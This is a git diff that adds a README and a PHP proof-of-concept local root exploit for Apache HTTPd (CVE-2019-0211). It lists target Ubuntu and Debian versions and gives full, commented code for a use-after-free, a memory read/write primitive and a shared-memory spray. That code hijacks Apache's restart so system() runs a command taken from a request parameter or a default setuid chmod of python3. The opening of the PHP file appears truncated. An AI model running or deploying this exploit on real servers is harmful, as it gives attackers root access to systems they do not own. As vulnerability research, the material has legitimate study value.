diff --git a/CVE-2019-0211-apache/README.md b/CVE-2019-0211-apache/README.md new file mode 100644 index 0000000..1ecc25c --- /dev/null +++ b/CVE-2019-0211-apache/README.md @@ -0,0 +1,25 @@ +# CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation + +This is a local root exploit for Apache HTTPd. +Details [here](https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html). +This is a POC. It might fail for a dozen of reasons. PR welcome. + +# Targets + +The exploit has been tested and works on: + +#### Ubuntu 18.04.2 LTS +PHP : 7.1.27-1 / 7.2.15-0 / 7.3.3-1
+Apache : Apache/2.4.29 (Ubuntu), build 2018-03-02T02:19:31 + +#### Ubuntu 16.04.6 LTS +PHP : 7.1.27-1 / 7.2.16-1 / 7.3.3-1
+Apache : Apache/2.4.18 (Ubuntu), build 2016-04-15T18:00:57 + +#### Debian GNU/Linux 9.8 (stretch) +PHP : 7.1.27-1 / 7.2.16-1 / 7.3.3-1
+Apache : Apache/2.4.25 (Debian), build 2018-11-03T18:46:19 +(latest version when debian-security repo is disabled) + +From:https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache + diff --git a/CVE-2019-0211-apache/cfreal-carpediem.php b/CVE-2019-0211-apache/cfreal-carpediem.php new file mode 100644 index 0000000..8781995 --- /dev/null +++ b/CVE-2019-0211-apache/cfreal-carpediem.php @@ -0,0 +1,797 @@ + &$y]); +} + +# In order to read/write what comes after in memory, we need to UAF a string so +# that we can control its size and make in-place edition. +# An easy way to do that is to replace the string by a timelib_rel_time +# structure of which the first bytes can be reached by the (y, m, d, h, i, s) +# properties of the DateInterval object. +# +# Steps: +# - Create a base object (Z) +# - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time) +# - Create DateInterval object ($place) meant to be unset and filled by another +# - Trigger the UAF by unsetting $y[0], which is still reachable using $this +# - Unset $place: at this point, if we create a new DateInterval object, it will +# replace $place in memory +# - Create a string ($holder) that fills $place's timelib_rel_time structure +# - Allocate a new DateInterval object: its timelib_rel_time structure will +# end up in place of abc +# - Now we can control $this->abc's zend_string structure entirely using +# y, m, d etc. +# - Increase abc's size so that we can read/write memory that comes after it, +# especially the shared memory block +# - Find out all_buckets' position by finding a memory region that matches the +# mutex->meth structure +# - Compute the bucket index required to reach the SHM and get an arbitrary +# function call +# - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the +# bucket +class Z implements JsonSerializable +{ + public function jsonSerialize() + { + global $y, $addresses, $workers_pids; + + # + # Setup memory + # + o('Triggering UAF'); + o(' Creating room and filling empty spaces'); + + # Fill empty blocks to make sure our allocations will be contiguous + # I: Since a lot of allocations/deallocations happen before the script + # is ran, two variables instanciated at the same time might not be + # contiguous: this can be a problem for a lot of reasons. + # To avoid this, we instanciate several DateInterval objects. These + # objects will fill a lot of potentially non-contiguous memory blocks, + # ensuring we get "fresh memory" in upcoming allocations. + $contiguous = []; + for($i=0;$i<10;$i++) + $contiguous[] = new DateInterval('PT1S'); + + # Create some space for our UAF blocks not to get overwritten + # I: A PHP object is a combination of a lot of structures, such as + # zval, zend_object, zend_object_handlers, zend_string, etc., which are + # all allocated, and freed when the object is destroyed. + # After the UAF is triggered on the object, all the structures that are + # used to represent it will be marked as free. + # If we create other variables afterwards, those variables might be + # allocated in the object's previous memory regions, which might pose + # problems for the rest of the exploitation. + # To avoid this, we allocate a lot of objects before the UAF, and free + # them afterwards. Since PHP's heap is LIFO, when we create other vars, + # they will take the place of those objects instead of the object we + # are triggering the UAF on. This means our object is "shielded" and + # we don't have to worry about breaking it. + $room = []; + for($i=0;$i<10;$i++) + $room[] = new Z(); + + # Build string meant to fill old DateInterval's timelib_rel_time + # I: ptr2str's name is unintuitive here: we just want to allocate a + # zend_string of size 78. + $_protector = ptr2str(0, 78); + + o(' Allocating $abc and $p'); + + # Create ABC + # I: This is the variable we will use to R/W memory afterwards. + # After we free the Z object, we'll make sure abc is overwritten by a + # timelib_rel_time structure under our control. The first 8*8 = 64 bytes + # of this structure can be modified easily, meaning we can change the + # size of abc. This will allow us to read/write memory after abc. + $this->abc = ptr2str(0, 79); + + # Create $p meant to protect $this's blocks + # I: Right after we trigger the UAF, we will unset $p. + # This means that the timelib_rel_time structure (TRT) of this object + # will be freed. We will then allocate a string ($protector) of the same + # size as TRT. Since PHP's heap is LIFO, the string will take the place + # of the now-freed TRT in memory. + # Then, we create a new DateInterval object ($x). From the same + # assumption, every structure constituting this new object will take the + # place of the previous structure. Nevertheless, since TRT's memory + # block has already been replaced by $protector, the new TRT will be put + # in the next free blocks of the same size, which happens to be $abc + # (remember, |abc| == |timelib_rel_time|). + # We now have the following situation: $x is a DateInterval object whose + # internal TRT structure has the same address as $abc's zend_string. + $p = new DateInterval('PT1S'); + + # + # Trigger UAF + # + + o(' Unsetting both variables and setting $protector'); + # UAF here, $this is usable despite being freed + unset($y[0]); + # Protect $this's freed blocks + unset($p); + + # Protect $p's timelib_rel_time structure + $protector = ".$_protector"; + # !!! This is only required for apache + # Got no idea as to why there is an extra deallocation (?) + if(version_compare(PHP_VERSION, '7.2') >= 0) + $room[] = "!$_protector"; + + o(' Creating DateInterval object'); + # After this line: + # &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str + # We can control the structure of $this->abc and therefore read/write + # anything that comes after it in memory by changing its size and + # making in-place edits using $this->abc[$position] = $char + $x = new DateInterval('PT1S'); + # zend_string.refcount = 0 + # It will get incremented at some point, and if it is > 1, + # zend_assign_to_string_offset() will try to duplicate it before making + # the in-place replacement + $x->y = 0x00; + # zend_string.len + $x->d = 0x100; + # zend_string.val[0-4] + $x->h = 0x13121110; + + # Verify UAF was successful + # We modified stuff via $x; they should be visible by $this->abc, since + # they are at the same memory location. + if(!( + strlen($this->abc) === $x->d && + $this->abc[0] == "\x10" && + $this->abc[1] == "\x11" && + $this->abc[2] == "\x12" && + $this->abc[3] == "\x13" + )) + { + o('UAF failed, exiting.'); + exit(); + } + o('UAF successful.'); + o(''); + + # Give us some room + # I: As indicated before, just unset a lot of stuff so that next allocs + # don't break our fragile UAFd structure. + unset($room); + + # + # Setup the R/W primitive + # + + # We control $abc's internal zend_string structure, therefore we can R/W + # the shared memory block (SHM), but for that we need to know the + # position of $abc in memory + # I: We know the absolute position of the SHM, so we need to need abc's + # as well, otherwise we cannot compute the offset + + # Assuming the allocation was contiguous, memory looks like this, with + # 0x70-sized fastbins: + # [zend_string:abc] + # [zend_string:protector] + # [FREE#1] + # [FREE#2] + # Therefore, the address of the 2nd free block is in the first 8 bytes + # of the first block: 0x70 * 2 - 24 + $address = str2ptr($this->abc, 0x70 * 2 - 24); + # The address we got points to FREE#2, hence we're |block| * 3 higher in + # memory + $address = $address - 0x70 * 3; + # The beginning of the string is 24 bytes after its origin + $address = $address + 24; + o('Address of $abc: 0x' . dechex($address)); + o(''); + + # Compute the size required for our string to include the whole SHM and + # apache's memory region + $distance = + max($addresses['apache'][1], $addresses['shm'][1]) - + $address + ; + $x->d = $distance; + + # We can now read/write in the whole SHM and apache's memory region. + + # + # Find all_buckets in memory + # + + # We are looking for a structure s.t. + # |all_buckets, mutex| = 0x10 + # |mutex, meth| = 0x8 + # all_buckets is in apache's memory region + # mutex is in apache's memory region + # meth is in libaprR's memory region + # meth's function pointers are in libaprX's memory region + o('Looking for all_buckets in memory'); + $all_buckets = 0; + + for( + $i = $addresses['apache'][0] + 0x10; + $i < $addresses['apache'][1] - 0x08; + $i += 8 + ) + { + # mutex + $mutex = $pointer = str2ptr($this->abc, $i - $address); + if(!in($pointer, $addresses['apache'])) + continue; + + + # meth + $meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address); + if(!in($pointer, $addresses['libaprR'])) + continue; + + o(' [&mutex]: 0x' . dechex($i)); + o(' [mutex]: 0x' . dechex($mutex)); + o(' [meth]: 0x' . dechex($meth)); + + + # meth->* + # flags + if(str2ptr($this->abc, $pointer - $address) != 0) + continue; + # methods + for($j=0;$j<7;$j++) + { + $m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address); + if(!in($m, $addresses['libaprX'])) + continue 2; + o(' [*]: 0x' . dechex($m)); + } + + $all_buckets = $i - 0x10; + o('all_buckets = 0x' . dechex($all_buckets)); + break; + } + + if(!$all_buckets) + { + o('Unable to find all_buckets'); + exit(); + } + + o(''); + + # The address of all_buckets will change when apache is gracefully + # restarted. This is a problem because we need to know all_buckets's + # address in order to make all_buckets[some_index] point to a memory + # region we control. + + # + # Compute potential bucket indexes and their addresses + # + + o('Computing potential bucket indexes and addresses'); + + # Since we have sizeof($workers_pid) MPM workers, we can fill the rest + # of the ap_score_image->servers items, so 256 - sizeof($workers_pids), + # with data we like. We keep the one at the top to store our payload. + # The rest is sprayed with the address of our payload. + + $size_prefork_child_bucket = 24; + $size_worker_score = 264; + # I get strange errors if I use every "free" item, so I leave twice as + # many items free. I'm guessing upon startup some + $spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2); + $spray_max = $addresses['shm'][1]; + $spray_min = $spray_max - $spray_size; + + $spray_middle = (int) (($spray_min + $spray_max) / 2); + $bucket_index_middle = (int) ( + - ($all_buckets - $spray_middle) / + $size_prefork_child_bucket + ); + + # + # Build payload + # + + # A worker_score structure was kept empty to put our payload in + $payload_start = $spray_min - $size_worker_score; + + $z = ptr2str(0); + + # Payload maxsize 264 - 112 = 152 + # Offset 8 cannot be 0, but other than this you can type whatever + # command you want + $bucket = isset($_REQUEST['cmd']) ? + $_REQUEST['cmd'] : + "chmod +s /usr/bin/python3.5"; + + if(strlen($bucket) > $size_worker_score - 112) + { + o( + 'Payload size is bigger than available space (' . + ($size_worker_score - 112) . + '), exiting.' + ); + exit(); + } + # Align + $bucket = str_pad($bucket, $size_worker_score - 112, "\x00"); + + # apr_proc_mutex_unix_lock_methods_t + $meth = + $z . + $z . + $z . + $z . + $z . + $z . + # child_init + ptr2str($addresses['zend_object_std_dtor']) + ; + + # The second pointer points to meth, and is used before reaching the + # arbitrary function call + # The third one and the last one are both used by the function call + # zend_object_std_dtor(object) => ... => system(&arData[0]->val) + $properties = + # refcount + ptr2str(1) . + # u-nTableMask meth + ptr2str($payload_start + strlen($bucket)) . + # Bucket arData + ptr2str($payload_start) . + # uint32_t nNumUsed; + ptr2str(1, 4) . + # uint32_t nNumOfElements; + ptr2str(0, 4) . + # uint32_t nTableSize + ptr2str(0, 4) . + # uint32_t nInternalPointer + ptr2str(0, 4) . + # zend_long nNextFreeElement + $z . + # dtor_func_t pDestructor + ptr2str($addresses['system']) + ; + + $payload = + $bucket . + $meth . + $properties + ; + + # Write the payload + + o('Placing payload at address 0x' . dechex($payload_start)); + + $p = $payload_start - $address; + for( + $i = 0; + $i < strlen($payload); + $i++ + ) + { + $this->abc[$p+$i] = $payload[$i]; + } + + # Fill the spray area with a pointer to properties + + $properties_address = $payload_start + strlen($bucket) + strlen($meth); + o('Spraying pointer'); + o(' Address: 0x' . dechex($properties_address)); + o(' From: 0x' . dechex($spray_min)); + o(' To: 0x' . dechex($spray_max)); + o(' Size: 0x' . dechex($spray_size)); + o(' Covered: 0x' . dechex($spray_size * count($workers_pids))); + o(' Apache: 0x' . dechex( + $addresses['apache'][1] - + $addresses['apache'][0] + )); + + $s_properties_address = ptr2str($properties_address); + + for( + $i = $spray_min; + $i < $spray_max; + $i++ + ) + { + $this->abc[$i - $address] = $s_properties_address[$i % 8]; + } + o(''); + + # Find workers PID in the SHM: it indicates the beginning of their + # process_score structure. We can then change process_score.bucket to + # the index we computed. When apache reboots, it will use + # all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex + # which means we control the whole apr_proc_mutex_t structure. + # This structure contains pointers to multiple functions, especially + # mutex->meth->child_init(), which will be called before privileges + # are dropped. + # We do this for every worker PID, incrementing the bucket index so that + # we cover a bigger range. + + o('Iterating in SHM to find PIDs...'); + + # Number of bucket indexes covered by our spray + $spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket); + # Number of bucket indexes covered by our spray and the PS structures + $total_nb_buckets = $spray_nb_buckets * count($workers_pids); + # First bucket index to handle + $bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2); + + # Iterate over every process_score structure until we find every PID or + # we reach the end of the SHM + for( + $p = $addresses['shm'][0] + 0x20; + $p < $addresses['shm'][1] && count($workers_pids) > 0; + $p += 0x24 + ) + { + $l = $p - $address; + $current_pid = str2ptr($this->abc, $l, 4); + o('Got PID: ' . $current_pid); + # The PID matches one of the workers + if(in_array($current_pid, $workers_pids)) + { + unset($workers_pids[$current_pid]); + o(' PID matches'); + # Update bucket address + $s_bucket_index = pack('l', $bucket_index); + $this->abc[$l + 0x20] = $s_bucket_index[0]; + $this->abc[$l + 0x21] = $s_bucket_index[1]; + $this->abc[$l + 0x22] = $s_bucket_index[2]; + $this->abc[$l + 0x23] = $s_bucket_index[3]; + o(' Changed bucket value to ' . $bucket_index); + $min = $spray_min - $size_prefork_child_bucket * $bucket_index; + $max = $spray_max - $size_prefork_child_bucket * $bucket_index; + o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max)); + # This bucket range is covered, go to the next one + $bucket_index += $spray_nb_buckets; + } + } + + if(count($workers_pids) > 0) + { + o( + 'Unable to find PIDs ' . + implode(', ', $workers_pids) . + ' in SHM, exiting.' + ); + exit(); + } + + o(''); + o('EXPLOIT SUCCESSFUL.'); + o('Await 6:25AM.'); + + return 0; + } +} + +function o($msg) +{ + # No concatenation -> no string allocation + print($msg); + print("\n"); +} + +function ptr2str($ptr, $m=8) +{ + $out = ""; + for ($i=0; $i<$m; $i++) + { + $out .= chr($ptr & 0xff); + $ptr >>= 8; + } + return $out; +} + +function str2ptr(&$str, $p, $s=8) +{ + $address = 0; + for($j=$s-1;$j>=0;$j--) + { + $address <<= 8; + $address |= ord($str[$p+$j]); + } + return $address; +} + +function in($i, $range) +{ + return $i >= $range[0] && $i < $range[1]; +} + +/** + * Finds the offset of a symbol in a file. + */ +function find_symbol($file, $symbol) +{ + $elf = file_get_contents($file); + $e_shoff = str2ptr($elf, 0x28); + $e_shentsize = str2ptr($elf, 0x3a, 2); + $e_shnum = str2ptr($elf, 0x3c, 2); + + $dynsym_off = 0; + $dynsym_sz = 0; + $dynstr_off = 0; + + for($i=0;$i<$e_shnum;$i++) + { + $offset = $e_shoff + $i * $e_shentsize; + $sh_type = str2ptr($elf, $offset + 0x04, 4); + + $SHT_DYNSYM = 11; + $SHT_SYMTAB = 2; + $SHT_STRTAB = 3; + + switch($sh_type) + { + case $SHT_DYNSYM: + $dynsym_off = str2ptr($elf, $offset + 0x18, 8); + $dynsym_sz = str2ptr($elf, $offset + 0x20, 8); + break; + case $SHT_STRTAB: + case $SHT_SYMTAB: + if(!$dynstr_off) + $dynstr_off = str2ptr($elf, $offset + 0x18, 8); + break; + } + + } + + if(!($dynsym_off && $dynsym_sz && $dynstr_off)) + exit('.'); + + $sizeof_Elf64_Sym = 0x18; + + for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++) + { + $offset = $dynsym_off + $i * $sizeof_Elf64_Sym; + $st_name = str2ptr($elf, $offset, 4); + + if(!$st_name) + continue; + + $offset_string = $dynstr_off + $st_name; + $end = strpos($elf, "\x00", $offset_string) - $offset_string; + $string = substr($elf, $offset_string, $end); + + if($string == $symbol) + { + $st_value = str2ptr($elf, $offset + 0x8, 8); + return $st_value; + } + } + + die('Unable to find symbol ' . $symbol); +} + +# Obtains the addresses of the shared memory block and some functions through +# /proc/self/maps +# This is hacky as hell. +function get_all_addresses() +{ + $addresses = []; + $data = file_get_contents('/proc/self/maps'); + $follows_shm = false; + + foreach(explode("\n", $data) as $line) + { + if(!isset($addresses['shm']) && strpos($line, '/dev/zero')) + { + $line = explode(' ', $line)[0]; + $bounds = array_map('hexdec', explode('-', $line)); + $msize = $bounds[1] - $bounds[0]; + if ($msize >= 0x10000 && $msize <= 0x16000) + { + $addresses['shm'] = $bounds; + $follows_shm = true; + } + } + if( + preg_match('#(/[^\s]+libc-[0-9.]+.so[^\s]*)#', $line, $matches) && + strpos($line, 'r-xp') + ) + { + $offset = find_symbol($matches[1], 'system'); + $line = explode(' ', $line)[0]; + $line = hexdec(explode('-', $line)[0]); + $addresses['system'] = $line + $offset; + } + if( + strpos($line, 'libapr-1.so') && + strpos($line, 'r-xp') + ) + { + $line = explode(' ', $line)[0]; + $bounds = array_map('hexdec', explode('-', $line)); + $addresses['libaprX'] = $bounds; + } + if( + strpos($line, 'libapr-1.so') && + strpos($line, 'r--p') + ) + { + $line = explode(' ', $line)[0]; + $bounds = array_map('hexdec', explode('-', $line)); + $addresses['libaprR'] = $bounds; + } + # Apache's memory block is between the SHM and ld.so + # Sometimes some rwx region gets mapped; all_buckets cannot be in there + # but we include it anyways for the sake of simplicity + if( + ( + strpos($line, 'rw-p') || + strpos($line, 'rwxp') + ) && + $follows_shm + ) + { + if(strpos($line, '/lib')) + { + $follows_shm = false; + continue; + } + $line = explode(' ', $line)[0]; + $bounds = array_map('hexdec', explode('-', $line)); + if(!array_key_exists('apache', $addresses)) + $addresses['apache'] = $bounds; + else if($addresses['apache'][1] == $bounds[0]) + $addresses['apache'][1] = $bounds[1]; + else + $follows_shm = false; + } + if( + preg_match('#(/[^\s]+libphp7[0-9.]+.so[^\s]*)#', $line, $matches) && + strpos($line, 'r-xp') + ) + { + $offset = find_symbol($matches[1], 'zend_object_std_dtor'); + $line = explode(' ', $line)[0]; + $line = hexdec(explode('-', $line)[0]); + $addresses['zend_object_std_dtor'] = $line + $offset; + } + } + + $expected = [ + 'shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor' + ]; + $missing = array_diff($expected, array_keys($addresses)); + + if($missing) + { + o( + 'The following addresses were not determined by parsing ' . + '/proc/self/maps: ' . implode(', ', $missing) + ); + exit(0); + } + + + o('PID: ' . getmypid()); + o('Fetching addresses'); + + foreach($addresses as $k => $a) + { + if(!is_array($a)) + $a = [$a]; + o(' ' . $k . ': ' . implode('-0x', array_map(function($z) { + return '0x' . dechex($z); + }, $a))); + } + o(''); + + return $addresses; +} + +# Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status, +# matching the cmdline and the UID +function get_workers_pids() +{ + o('Obtaining apache workers PIDs'); + $pids = []; + $cmd = file_get_contents('/proc/self/cmdline'); + $processes = glob('/proc/*'); + foreach($processes as $process) + { + if(!preg_match('#^/proc/([0-9]+)$#', $process, $match)) + continue; + $pid = (int) $match[1]; + if( + !is_readable($process . '/cmdline') || + !is_readable($process . '/status') + ) + continue; + if($cmd !== file_get_contents($process . '/cmdline')) + continue; + + $status = file_get_contents($process . '/status'); + foreach(explode("\n", $status) as $line) + { + if( + strpos($line, 'Uid:') === 0 && + preg_match('#\b' . posix_getuid() . '\b#', $line) + ) + { + o(' Found apache worker: ' . $pid); + $pids[$pid] = $pid; + break; + } + + } + } + + o('Got ' . sizeof($pids) . ' PIDs.'); + o(''); + + return $pids; +} + +$addresses = get_all_addresses(); +$workers_pids = get_workers_pids(); +real();